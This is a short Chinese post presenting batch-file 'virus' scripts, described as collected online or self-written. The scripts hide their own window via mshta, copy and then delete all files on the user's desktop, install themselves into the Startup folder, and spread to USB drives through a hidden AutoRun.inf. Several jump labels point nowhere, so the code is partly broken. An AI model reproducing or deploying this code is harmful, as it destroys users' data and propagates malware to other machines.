下面是从网上汇总和自己编写的，转载转载请注明出处

无限弹窗病毒

@echo off

::这一行的意思是关闭回显

：start

：：运行某程序

cmd

：：开始运行命令提示符

goto 1

：：从第一行开始运行

@echo off

::隐藏运行窗口功能

if "%1" == "h" goto begin 

mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)（window.close)&&exit 

:start

::在C盘储存桌面副本

xcopy "C:\Users\%username%\Desktop" C:\Desktopcopied /d /i>nul 2>nul

::清空桌面

del /f /s /q C:\Users\%username%\Desktop\*.*>nul 2>nul

goto 1

::开机自启功能

xcopy "%0" "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

goto open

:scan

::U盘传播功能

for %%i in (c d e f g h i j k l m n o p q r s t u v w x y z) do (

fsutil fsinfo drivetype %%i: | findstr /i "可移动驱动器" >nul 2>nul && set find=1

if defined find (

xcopy "%0" "%%i"

Echo [autorun]>>%%i\AutoRun.inf

Echo Open=FoolDay.bat>>%%i\AutoRun.inf

attrib +H %%i\AutoRun.inf

goto start1

)

)

goto start1